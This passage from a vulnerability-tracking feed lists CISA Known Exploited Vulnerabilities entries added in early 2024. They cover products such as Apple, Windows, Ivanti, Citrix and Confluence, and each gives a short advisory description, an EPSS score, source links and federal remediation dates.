score: https://api.first.org/data/v1/epss?cve=CVE-2024-23225&date=2026-10-25 CISA added this entry on 2024-03-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 6, 2024; federal due date Mar 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2024-23296 Apple Multiple Products Memory Corruption Vulnerability (Mar 6, 2024). Apple iOS, iPadOS, macOS, tvOS, and watchOS RTKit contain a memory corruption vulnerability that allows an attacker with arbitrary kernel read and write capability to bypass kernel memory protections. EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23296&date=2026-10-25). Sources: CISA KEV entry CVE-2024-23296: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23296&date=2026-10-25 CISA added this entry on 2024-03-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 6, 2024; federal due date Mar 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Pixel Information Disclosure Vulnerability https://kevwire.com/record/CVE-2023-21237 Android Pixel Information Disclosure Vulnerability (Mar 5, 2024). Android Pixel contains a vulnerability in the Framework component, where the UI may be misleading or insufficient, providing a means to hide a foreground service notification. This could enable a local attacker to disclose sensitive information. EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21237&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21237: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21237&date=2026-10-25 CISA added this entry on 2024-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2024; federal due date Mar 26, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sunhillo SureLine OS Command Injection Vulnerablity https://kevwire.com/record/CVE-2021-36380 Sunhillo SureLine OS Command Injection Vulnerablity (Mar 5, 2024). Sunhillo SureLine contains an OS command injection vulnerability that allows an attacker to cause a denial-of-service or utilize the device for persistence on the network via shell metacharacters in ipAddr or dnsAddr in /cgi/networkDiag.cgi. EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36380&date=2026-10-25). Sources: CISA KEV entry CVE-2021-36380: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36380&date=2026-10-25 CISA added this entry on 2024-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2024; federal due date Mar 26, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability https://kevwire.com/record/CVE-2024-21338 Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability (Mar 4, 2024). Microsoft Windows Kernel contains an exposed IOCTL with insufficient access control vulnerability within the IOCTL (input and output control) dispatcher in appid.sys that allows a local attacker to achieve privilege escalation. EPSS 59.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21338&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21338: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21338&date=2026-10-25 CISA added this entry on 2024-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 4, 2024; federal due date Mar 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Streaming Service Untrusted Pointer Dereference Vulnerability https://kevwire.com/record/CVE-2023-29360 Microsoft Streaming Service Untrusted Pointer Dereference Vulnerability (Feb 29, 2024). Microsoft Streaming Service contains an untrusted pointer dereference vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges. EPSS 21.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29360&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29360&date=2026-10-25 CISA added this entry on 2024-02-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 29, 2024; federal due date Mar 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ConnectWise ScreenConnect Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-1709 ConnectWise ScreenConnect Authentication Bypass Vulnerability (Feb 22, 2024). ConnectWise ScreenConnect contains an authentication bypass vulnerability that allows an attacker with network access to the management interface to create a new, administrator-level account on affected devices. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1709&date=2026-10-25). Sources: CISA KEV entry CVE-2024-1709: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1709&date=2026-10-25 CISA added this entry on 2024-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 22, 2024; federal due date Feb 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco ASA and FTD Information Disclosure Vulnerability https://kevwire.com/record/CVE-2020-3259 Cisco ASA and FTD Information Disclosure Vulnerability (Feb 15, 2024). Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an information disclosure vulnerability. An attacker could retrieve memory contents on an affected device, which could lead to the disclosure of confidential information due to a buffer tracking issue when the software parses invalid URLs that are requested from the web services interface. This vulnerability affects only specific AnyConnect and WebVPN configurations. EPSS 71.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3259&date=2026-10-25). Sources: CISA KEV entry CVE-2020-3259: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3259&date=2026-10-25 CISA added this entry on 2024-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2024; federal due date Mar 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-21410 Microsoft Exchange Server Privilege Escalation Vulnerability (Feb 15, 2024). Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation. EPSS 12.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21410&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21410&date=2026-10-25 CISA added this entry on 2024-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2024; federal due date Mar 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Internet Shortcut Files Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2024-21412 Microsoft Windows Internet Shortcut Files Security Feature Bypass Vulnerability (Feb 13, 2024). Microsoft Windows Internet Shortcut Files contains an unspecified vulnerability that allows for a security feature bypass. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21412&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21412: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21412&date=2026-10-25 CISA added this entry on 2024-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 13, 2024; federal due date Mar 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2024-21351 Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Feb 13, 2024). Microsoft Windows SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the SmartScreen user experience and inject code to potentially gain code execution, which could lead to some data exposure, lack of system availability, or both. EPSS 27.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21351&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21351: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21351&date=2026-10-25 CISA added this entry on 2024-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 13, 2024; federal due date Mar 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2023-43770 Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability (Feb 12, 2024). Roundcube Webmail contains a persistent cross-site scripting (XSS) vulnerability that can lead to information disclosure via malicious link references in plain/text messages. EPSS 63.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-43770&date=2026-10-25). Sources: CISA KEV entry CVE-2023-43770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-43770&date=2026-10-25 CISA added this entry on 2024-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2024; federal due date Mar 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS Out-of-Bound Write Vulnerability https://kevwire.com/record/CVE-2024-21762 Fortinet FortiOS Out-of-Bound Write Vulnerability (Feb 9, 2024). Fortinet FortiOS contains an out-of-bound write vulnerability that allows a remote unauthenticated attacker to execute code or commands via specially crafted HTTP requests. EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21762&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21762: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21762&date=2026-10-25 CISA added this entry on 2024-02-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 9, 2024; federal due date Feb 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2023-4762 Google Chromium V8 Type Confusion Vulnerability (Feb 6, 2024). Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4762&date=2026-10-25). Sources: CISA KEV entry CVE-2023-4762: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4762&date=2026-10-25 CISA added this entry on 2024-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 6, 2024; federal due date Feb 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2022-48618 Apple Multiple Products Memory Corruption Vulnerability (Jan 31, 2024). Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a time-of-check/time-of-use (TOCTOU) memory corruption vulnerability that allows an attacker with read and write capabilities to bypass Pointer Authentication. EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-48618&date=2026-10-25). Sources: CISA KEV entry CVE-2022-48618: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-48618&date=2026-10-25 CISA added this entry on 2024-01-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 31, 2024; federal due date Feb 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Connect Secure, Policy Secure, and Neurons Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2024-21893 Ivanti Connect Secure, Policy Secure, and Neurons Server-Side Request Forgery (SSRF) Vulnerability (Jan 31, 2024). Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure), Ivanti Policy Secure, and Ivanti Neurons contain a server-side request forgery (SSRF) vulnerability in the SAML component that allows an attacker to access certain restricted resources without authentication. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21893&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21893&date=2026-10-25 CISA added this entry on 2024-01-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 31, 2024; federal due date Feb 2, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Confluence Data Center and Server Template Injection Vulnerability https://kevwire.com/record/CVE-2023-22527 Atlassian Confluence Data Center and Server Template Injection Vulnerability (Jan 24, 2024). Atlassian Confluence Data Center and Server contain an unauthenticated OGNL template injection vulnerability that can lead to remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22527&date=2026-10-25). Sources: CISA KEV entry CVE-2023-22527: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22527&date=2026-10-25 CISA added this entry on 2024-01-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 24, 2024; federal due date Feb 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Type Confusion Vulnerability https://kevwire.com/record/CVE-2024-23222 Apple Multiple Products WebKit Type Confusion Vulnerability (Jan 23, 2024). Apple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23222&date=2026-10-25). Sources: CISA KEV entry CVE-2024-23222: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23222&date=2026-10-25 CISA added this entry on 2024-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 23, 2024; federal due date Feb 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware vCenter Server Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2023-34048 VMware vCenter Server Out-of-Bounds Write Vulnerability (Jan 22, 2024). VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol that allows an attacker to conduct remote code execution. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-34048&date=2026-10-25). Sources: CISA KEV entry CVE-2023-34048: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-34048&date=2026-10-25 CISA added this entry on 2024-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 22, 2024; federal due date Feb 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-35082 Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core Authentication Bypass Vulnerability (Jan 18, 2024). Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core contain an authentication bypass vulnerability that allows unauthorized users to access restricted functionality or resources of the application. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35082&date=2026-10-25). Sources: CISA KEV entry CVE-2023-35082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35082&date=2026-10-25 CISA added this entry on 2024-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 18, 2024; federal due date Feb 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Memory Access Vulnerability https://kevwire.com/record/CVE-2024-0519 Google Chromium V8 Out-of-Bounds Memory Access Vulnerability (Jan 17, 2024). Google Chromium V8 Engine contains an out-of-bounds memory access vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 3.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-0519&date=2026-10-25). Sources: CISA KEV entry CVE-2024-0519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-0519&date=2026-10-25 CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 17, 2024; federal due date Feb 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-6549 Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability (Jan 17, 2024). Citrix NetScaler ADC and NetScaler Gateway contain a buffer overflow vulnerability that allows for a denial-of-service when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server. EPSS 57.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6549&date=2026-10-25). Sources: CISA KEV entry CVE-2023-6549: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6549&date=2026-10-25 CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 17, 2024; federal due date Feb 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability https://kevwire.com/record/CVE-2023-6548 Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability (Jan 17, 2024). Citrix NetScaler ADC and NetScaler Gateway contain a code injection vulnerability that allows for authenticated remote code execution on the management interface with access to NSIP, CLIP, or SNIP. EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6548&date=2026-10-25). Sources: CISA KEV entry CVE-2023-6548: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6548&date=2026-10-25 CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 17, 2024; federal due date Jan 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Laravel Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2018-15133 Laravel Deserialization of Untrusted Data Vulnerability (Jan 16, 2024). Laravel Framework contains a deserialization of untrusted data vulnerability, allowing for remote command execution. This vulnerability may only be exploited if a malicious user has accessed the application encryption key (APP_KEY environment variable). EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-15133&date=2026-10-25). Sources: CISA KEV entry CVE-2018-15133: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-15133&date=2026-10-25 CISA added this entry on 2024-01-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 16, 2024; federal due date Feb 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Server Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-29357 Microsoft SharePoint Server Privilege Escalation Vulnerability (Jan 10, 2024). Microsoft SharePoint Server contains an unspecified vulnerability that allows an unauthenticated attacker, who has gained access to spoofed JWT authentication tokens, to use them for executing a network attack. This attack bypasses authentication, enabling the attacker to gain administrator privileges. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29357&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29357: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29357&date=2026-10-25 CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 10, 2024; federal due date Jan 31, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Connect Secure and Policy Secure Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-46805 Ivanti Connect Secure and Policy Secure Authentication Bypass Vulnerability (Jan 10, 2024). Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure gateways contain an authentication bypass vulnerability in the web component that allows an attacker to access restricted resources by bypassing control checks. This vulnerability can be leveraged in conjunction with CVE-2024-21887, a command injection vulnerability. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46805&date=2026-10-25). Sources: CISA KEV 